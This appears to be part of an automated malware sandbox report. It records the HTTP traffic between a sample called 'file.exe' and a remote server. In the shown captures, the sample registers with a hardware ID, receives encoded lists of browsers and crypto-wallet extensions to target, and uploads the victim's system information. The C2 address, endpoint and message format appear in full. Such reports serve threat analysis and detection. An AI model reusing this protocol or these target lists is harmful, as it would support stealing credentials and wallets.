Aug 31, 2024 22:05:33.526596069 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:33.526607990 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:33.526720047 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:33.526731968 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:33.526743889 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:33.526762009 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:33.526900053 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:33.528662920 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:33.533576965 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:34.347793102 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:34.347886086 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:38.839046001 CEST	49704	80	192.168.2.8	185.215.113.100

HTTP Request Dependency Graph

185.215.113.100

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	185.215.113.100	80	1436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:05:15.434056997 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Aug 31, 2024 22:05:16.249588966 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 22:05:16.254323006 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 39 38 39 41 30 34 42 34 44 42 32 34 39 36 36 31 38 36 37 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="hwid"1D989A04B4DB2496618675------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="build"leva------ECGDAAFIIJDAAAAKFHID--
Aug 31, 2024 22:05:16.516676903 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:16 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 4d 35 4e 6a 41 34 4e 57 49 30 59 6a 5a 6b 4e 47 46 69 5a 57 49 78 5a 54 45 77 5a 54 45 79 5a 6d 55 31 4d 54 6c 68 59 7a 49 33 5a 44 42 6c 4e 7a 51 32 4d 7a 51 31 4e 32 55 32 4f 44 4d 33 4e 7a 46 6c 4e 7a 4d 7a 4d 47 4e 6a 5a 6a 5a 69 59 6a 67 79 4d 57 59 31 5a 47 46 69 59 6a 55 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmM5NjA4NWI0YjZkNGFiZWIxZTEwZTEyZmU1MTlhYzI3ZDBlNzQ2MzQ1N2U2ODM3NzFlNzMzMGNjZjZiYjgyMWY1ZGFiYjU1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 31, 2024 22:05:16.517858028 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECG Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="message"browsers------GIJDAFBKFIECBGCAKECG--
Aug 31, 2024 22:05:16.762370110 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:16 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 31, 2024 22:05:16.762384892 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 31, 2024 22:05:16.763911963 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEG Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 2d 2d 0d 0a Data Ascii: ------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="message"plugins------EBGCBAFCGDAAKFIDGIEG--
Aug 31, 2024 22:05:17.008460045 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:16 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 31, 2024 22:05:17.008471012 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Aug 31, 2024 22:05:17.008496046 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Aug 31, 2024 22:05:17.008507013 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Aug 31, 2024 22:05:17.008518934 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Aug 31, 2024 22:05:17.008531094 CEST	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Aug 31, 2024 22:05:17.008543015 CEST	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Aug 31, 2024 22:05:17.010437965 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"fplugins------GHJKJDAKEHJDGDGDGHID--
Aug 31, 2024 22:05:17.253309011 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:17 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 31, 2024 22:05:17.349020958 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGH Host: 185.215.113.100 Content-Length: 6551 Connection: Keep-Alive Cache-Control: no-cache
Aug 31, 2024 22:05:17.349071026 CEST	6551	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 Data Ascii: ------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 31, 2024 22:05:17.653247118 CEST	1236	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGH Host: 185.215.113.100 Content-Length: 6551 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 6c 7a 64 47 56 74 58 32 6c 75 5a 6d 38 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 43 6b 35 6c 64 48 64 76 63 6d 73 [TRUNCATED] Data Ascii: ------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZm8udHh0------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="file"Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogMUQ5ODlBMDRCNERCMjQ5NjYxODY3NQoJLSBPUzogV2luZG93cyAxMCBQcm8KCS0gQXJjaGl0ZWN0dXJlOiB4NjQKCS0gVXNlck5hbWU6IGh1YmVydAoJLSBDb21wdXRlciBOYW1lOiAyMTA5NzkKCS0gTG9jYWwgVGltZTogMjAyNC84LzMxIDE2OjU6MTYKCS0gVVRDOiAtNQoJLSBMYW5ndWFnZTogZW4tQ0gKCS0gS2V5Ym9hcmRzOiBFbmdsaXNoIChVbml0ZWQgS2luZ2RvbSkgLyBFbmdsaXNoIChVbml0ZWQgS2luZ2RvbSkKCS0gTGFwdG9wOiBGQUxTRQoJLSBSdW5uaW5nIFBhdGg6IEM6XFVzZXJzXGh1YmVydFxEZXNrdG9wXGZpbGUuZXhlCgktIENQVTogSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoKCS0gQ29yZXM6IDIKCS0gVGhyZWFkczogNAoJLSBSQU06IDgxOTEgTUIKCS0gRGlzcGxheSBSZXNvbHV0aW9uOiAxMjgweDEwMjQKCS0gR1BVOgoJCS1NaWNyb [TRUNCATED]
